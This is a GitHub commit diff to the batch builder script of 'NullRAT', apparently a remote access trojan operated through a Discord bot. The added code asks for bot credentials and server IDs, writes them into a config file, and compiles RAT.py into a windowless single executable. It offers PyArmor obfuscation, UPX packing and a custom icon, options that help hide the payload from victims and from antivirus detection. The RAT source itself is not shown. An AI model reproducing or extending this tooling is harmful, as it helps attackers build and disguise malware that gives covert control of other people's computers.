Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit ed8d152

Browse files
committed
Add compiler mode & fix other modes
1 parent f6619b1 commit ed8d152

1 file changed

Lines changed: 122 additions & 19 deletions

File tree

AIO.bat

Lines changed: 122 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
@echo off & @title NullRAT AIO
22
chcp 65001 & cd "%~dp0NullRAT"
3+
setlocal EnableDelayedExpansion
34
mode con: cols=80 lines=29
45

56
:main
@@ -70,10 +71,31 @@ echo █████╔╝ ██║ ██║ ██
7071
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
7172
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
7273
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
73-
cd "%~dp0NullRAT"
74-
IF EXIST "Variables.py" (goto fileE) else (echo.)
74+
IF EXIST "Variables.py" (goto fileE) else (goto a)
75+
76+
:fileE
77+
echo.
78+
echo A pre-existing variables file was detected.
79+
choice /c YN /n /m "Do you want to check its contents? [Y/N]"
80+
if %errorlevel%==2 (
81+
cls & echo.
82+
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
83+
echo ╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝
84+
echo █████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗
85+
echo ██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║
86+
echo ███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║
87+
echo ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝
88+
echo.
89+
goto a
90+
)
91+
92+
if %errorlevel%==1 (goto endd)
7593

7694
:a
95+
echo.
96+
echo Obtaining information for Variables.py ...
97+
echo ==========================================
98+
echo.
7799
set /p "token=Enter Bot Token: "
78100
if "%token%"=="" (cls & echo [ERROR] Token cannot be empty! & goto createF)
79101
set /p "notification=Enter Notification ID: "
@@ -86,14 +108,13 @@ echo bot_token = ^"%token%^" >> Variables.py
86108
echo notification_channel = %notification% >> Variables.py
87109
echo server_ids = ^[%server%^] >> Variables.py
88110

89-
echo. &echo Variables file successfully created!
111+
echo. & echo Variables file successfully created!
90112
timeout /t 3
91113
goto compiler
92114

93-
:fileE
94-
echo.
95-
echo A pre-existing variables file was detected.
96-
choice /c YN /n /m "Do you want to check its contents? [Y/N]"
115+
:endd
116+
echo. & type Variables.py & echo.
117+
choice /c YN /n /m "Are all these information correct? [Y/N]"
97118
if %errorlevel%==2 (
98119
cls & echo.
99120
echo ██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗
@@ -105,23 +126,105 @@ if %errorlevel%==2 (
105126
echo.
106127
goto a
107128
)
108-
109-
110-
if %errorlevel%==1 (goto endd)
111-
112-
:endd
113-
echo. & type Variables.py & echo.
114-
choice /c YN /n /m "Are all these information correct? [Y/N]"
115-
if %errorlevel%==2 (cls & goto createF)
116129
if %errorlevel%==1 (
117-
echo. & echo The following information is correct.
118-
echo Going to compiler...
119-
timeout /t 3 >nul & goto compiler
130+
echo. & echo The following information is correct.
131+
timeout /t 2 & goto compiler
120132
)
121133

134+
:a
135+
echo.
136+
echo Obtaining information for Variables.py ...
137+
echo ==========================================
138+
echo.
139+
set /p "token=Enter Bot Token: "
140+
if "%token%"=="" (cls & echo [ERROR] Token cannot be empty! & goto createF)
141+
set /p "notification=Enter Notification ID: "
142+
if "%notification%"=="" (cls & echo [ERROR] Notification cannot be empty! & goto createF)
143+
set /p "server=Enter Server ID: "
144+
if "%server%"=="" (cls & echo [ERROR] Server cannot be empty! & goto createF)
145+
146+
echo ^# This file was auto-generated by NullRAT Variables^. DO NOT SHARE^! > Variables.py
147+
echo bot_token = ^"%token%^" >> Variables.py
148+
echo notification_channel = %notification% >> Variables.py
149+
echo server_ids = ^[%server%^] >> Variables.py
150+
151+
echo. &echo Variables file successfully created!
152+
timeout /t 3
153+
goto compiler
154+
122155
:compiler
156+
@title NullRAT AIO (Compiler)
157+
cls & echo.
158+
echo ██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗
159+
echo ╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗
160+
echo █████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝
161+
echo ╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗
162+
echo ██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║
163+
echo ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
164+
echo.
165+
echo ^>^> Options:
166+
echo -----------
167+
echo.
168+
169+
choice /c YN /n /m "Do you want to obfuscate the executable? [Y/N]: "
170+
if %errorlevel%==1 (set pyarmor=yes)
171+
if %errorlevel%==2 (set pyarmor=no)
172+
173+
choice /c YN /n /m "Do you want to compress the executable? [Y/N]: "
174+
if %errorlevel%==1 (set upxdd=yes)
175+
if %errorlevel%==2 (set upxdd=no)
176+
177+
choice /c YN /n /m "Do you want to add a custom icon? [Y/N]: "
178+
if %errorlevel%==1 (set icon=yes)
179+
if %errorlevel%==2 (set icon=no)
180+
181+
echo.
182+
echo All options selected:
183+
echo --------------------------------------------
184+
echo Obfuscating the executable="%pyarmor%"
185+
echo Compressing the executable="%upxdd%"
186+
echo Adding a custom icon to the executable="%icon%"
187+
echo --------------------------------------------
188+
189+
echo. & choice /c YN /n /m "Are all these options correct? [Y/N]: "
190+
if %errorlevel%==2 (goto compiler) else (goto compile)
191+
192+
:compile
193+
cls & echo.
194+
echo ██████╗ ██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ██╗██╗ ███████╗██████╗
195+
echo ╚════██╗╚██╗ ██╔════╝██╔═══██╗████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗
196+
echo █████╔╝ ██║ ██║ ██║ ██║██╔████╔██║██████╔╝██║██║ █████╗ ██████╔╝
197+
echo ╚═══██╗ ██║ ██║ ██║ ██║██║╚██╔╝██║██╔═══╝ ██║██║ ██╔══╝ ██╔══██╗
198+
echo ██████╔╝██╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ██║███████╗███████╗██║ ██║
199+
echo ╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝
200+
echo.
201+
202+
if "!icon!"=="yes" (
203+
set /P "iconP=Please type the path of the custom icon: "
204+
move "!iconP!" "%~dp0\NullRAT\custom_icon.ico"
205+
)
206+
if "!upxdd!"=="yes" (set "path=!path!;%~dp0\NullRAT\upx;%~dp0\upx")
207+
208+
if "!pyarmor!"=="yes" (
209+
if "!icon!"=="yes" (
210+
pyarmor pack -e " --onefile --noconsole --icon=custom_icon.ico " RAT.py
211+
) else (
212+
pyarmor pack -e " --onefile --noconsole " RAT.py
213+
)
214+
) else (
215+
if "!icon!"=="yes" (
216+
pyinstaller --onefile --noconsole --icon=custom_icon.ico RAT.py
217+
) else (
218+
pyinstaller --onefile --noconsole RAT.py
219+
)
220+
)
221+
222+
move dist\RAT.exe "%~dp0\" & echo.
223+
rmdir /s /q "build"
224+
rmdir /s /q "dist"
225+
timeout /t 2
123226

124-
pause
227+
exit
125228

126229
:cleanup
127230
cd "%~dp0"

0 commit comments

Comments
 (0)